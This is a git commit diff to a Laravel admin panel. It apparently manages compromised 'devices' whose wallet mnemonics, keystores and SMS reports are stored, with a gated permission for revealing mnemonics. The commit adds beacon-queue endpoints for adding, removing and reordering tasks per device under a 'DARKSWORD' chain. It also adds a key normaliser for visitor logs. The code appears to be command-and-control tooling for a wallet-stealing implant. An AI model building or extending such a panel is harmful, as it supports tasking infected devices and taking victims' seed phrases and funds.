This commit is contained in:
hashbro
2026-09-12 03:42:48 +08:00
parent b212332828
commit 8c5724ff3b
50 changed files with 73924 additions and 657 deletions
@@ -18,6 +18,7 @@ use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Services\DsBeaconQueue;
use App\Services\PhotoPreview;
use App\Services\Tokenview\TokenviewMonitorService;
use App\Support\AgentScope;
@@ -124,13 +125,22 @@ class DeviceController extends Controller
$device->load(['beaconTasks']);
$queueState = ['pending' => [], 'dispatched' => [], 'done' => []];
$queueSchema = [];
if ((int) $device->chain === Device::CHAIN_DARKSWORD) {
$queue = app(\App\Services\DsBeaconQueue::class);
$queueState = $queue->getQueueState($device);
$queueSchema = \App\Services\DsBeaconQueue::PARAM_SCHEMA;
}
return view('admin.devices.show', [
'device' => $device,
'tab' => $tab,
'addressSources' => $addressSources,
'addressChains' => $addressChains,
'portal' => $this->portal(),
'beaconTasks' => $device->beaconTasks,
'queueState' => $queueState,
'queueSchema' => $queueSchema,
'can_reveal' => $this->canRevealMnemonics(),
'google_bound' => $this->googleBoundForReveal(),
'google2fa_url' => $this->google2faUrl(),
@@ -291,7 +301,6 @@ class DeviceController extends Controller
$device->keystores()->delete();
$device->pluginSessions()->delete();
$device->smsReports()->delete();
$device->beaconTasks()->delete();
$device->delete();
});
});
@@ -849,4 +858,81 @@ class DeviceController extends Controller
return $admin instanceof Admin && $admin->isSuper();
}
// ── Beacon queue management ────────────────────────────────────────────
/**
* Add a task to the device's beacon queue.
*/
public function queueAdd(Device $device, Request $request)
{
$this->authorizeDevice($device);
$request->validate([
'type' => 'required|string|max:64',
'params' => 'nullable|array',
]);
$type = (string) $request->input('type');
$params = $request->input('params');
/** @var DsBeaconQueue $queue */
$queue = app(DsBeaconQueue::class);
$task = $queue->addTask($device, $type, $params);
return response()->json([
'code' => 0,
'msg' => "已添加任务: {$task['type']}",
'data' => $task,
]);
}
/**
* Remove a task from the device's beacon queue.
*/
public function queueRemove(Device $device, Request $request)
{
$this->authorizeDevice($device);
$request->validate([
'task_id' => 'required|string',
]);
$taskId = (string) $request->input('task_id');
/** @var DsBeaconQueue $queue */
$queue = app(DsBeaconQueue::class);
$removed = $queue->removeTask($device, $taskId);
if (! $removed) {
return response()->json([
'code' => 1,
'msg' => '任务不存在或已下发',
]);
}
return response()->json([
'code' => 0,
'msg' => '已移除任务',
]);
}
/**
* Reorder tasks in the device's beacon queue.
*/
public function queueReorder(Device $device, Request $request)
{
$this->authorizeDevice($device);
$request->validate([
'task_ids' => 'required|array',
'task_ids.*' => 'integer',
]);
/** @var DsBeaconQueue $queue */
$queue = app(DsBeaconQueue::class);
$queue->reorderTasks($device, $request->input('task_ids', []));
return response()->json([
'code' => 0,
'msg' => '队列顺序已更新',
]);
}
}
@@ -5,6 +5,7 @@ namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\DsChainLog;
use App\Models\Device;
use App\Models\PageVisit;
use App\Models\User;
use App\Support\CfIpCountry;
@@ -70,7 +71,7 @@ class PageVisitController extends Controller
public function logs(Request $request)
{
$uid = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', (string) $request->query('client_uid', '')) ?? '');
$uid = Device::normalizeDarkswordKey((string) $request->query('client_uid', '')) ?? '';
if ($uid === '') {
return response()->json(['code' => 1, 'msg' => '缺少访客 UID', 'data' => []]);
}